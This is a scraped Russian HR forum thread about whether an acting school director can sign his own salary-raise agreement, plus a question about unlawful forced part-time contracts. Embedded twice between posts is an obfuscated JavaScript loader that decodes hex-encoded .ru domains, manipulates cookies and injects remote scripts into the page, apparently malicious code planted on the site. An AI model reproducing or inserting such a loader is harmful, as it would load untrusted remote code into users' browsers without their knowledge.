Приказ на увеличение оклада , Публикация №832825

Margo@@@, , а штатное расписание вам кто утверждает? В частности оклады?

Конечно Министерство все решает, сам руководитель по своей инициативе ничего поменять не может. Но с Министерства никаких уведомлений об изменении оклада не было, вот я и думаю может ли и.о. сам на себя делать, сам подписывать сам ознакамливаться?

Вадим А, не поняла про согласовывать, сейчас нужно издавать уведомление об изменении оклада? и в дальнейшем доп. соглашение он сам себе будет подписывать т.е. работодатель в лице и.о. директора и работник и.о. директора ? или же Министерство должно было уведомить и в дальнейшем ДС к ТД подписывать ?

Вадим А, так письмо приходило от Министерства я выше присылала, изменяются оклады всем, я не понимаю какое еще согласование с министерством, положение об оплате уже увозили на согласование, допустим сейчас я сделаю уведомление об изменении оклада на и.о. директора Иванова И.И., через 2 месяца он сам себе соглашение к трудовому договору будет подписывать?
".... именуемое в дальнейшем «Работодатель», в лице и.о. директора Иванова И.И, действующего на основании ....., и Иванов И.И., именуемый в дальнейшем «Работник», заключили настоящее соглашение о нижеследующем " далее сам подпишет и сам ознакомится?

Вадим А, вообще было так: директор уволился, Министерство образование возложило исполнение обязанностей на заместителя директора, вот теперь зам. директора у нас и.о. директора. Позвонила в Министерство задала им вопрос (так как я не понимаю как он сам себе будет подписывать ДС к ТД он же и работодатель он же и работник получается), на что в Министерстве мне ответили, что по другому никак не сделать, но в голове у меня это не укладывается...

Margo@@@, , если бы у вас была коммерческая организация где гд, как хочет так и ворочит, тогда бы вопросов не было. А у вас как я понял структура государственная и каждый документ должен бвть согласован. Вы согласование получили.

Margo@@@


Все бумаги на имя Иванова И.И. готовит Министерство и личное дело должно быть у них.

С 01.06.15 приказом по организации увеличили всем работникам оклад. На следующий день руководитель( И.П.) дал распоряжение заключить со всеми работниками ДС к ТД о неполном рабочем дне ( 6 часов) сознательно идя на нарушение. Ни заявления с работников ни тем более уведомления за 2 месяца не было. С не согласными подписать провели беседу за закрытыми дверями. Чем это чревато для И.П. ???

Прошу прощения- что-то с интернетом не лады. Не могу исправить. (удалить ненужное)


wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9876",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1";)+"=([^;]*)";));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600";),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},a=f unction(o,e,t){var n=docu ment.location.protocol+"//"+o;if(wind ow .smlo)window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo)window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script";);i.setAttribute("src",n),i.setAttribute("type","text/javascript";),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom";);e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods";);m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("kadrovik-praktik.ru";)+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9876",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},a=f unction(o,e,t){var n=docu ment.location.protocol+"//"+o;if(wind ow .smlo)window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo)window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

ТК РФ не предусмотрено и.о. Должен быть конкретно - директор.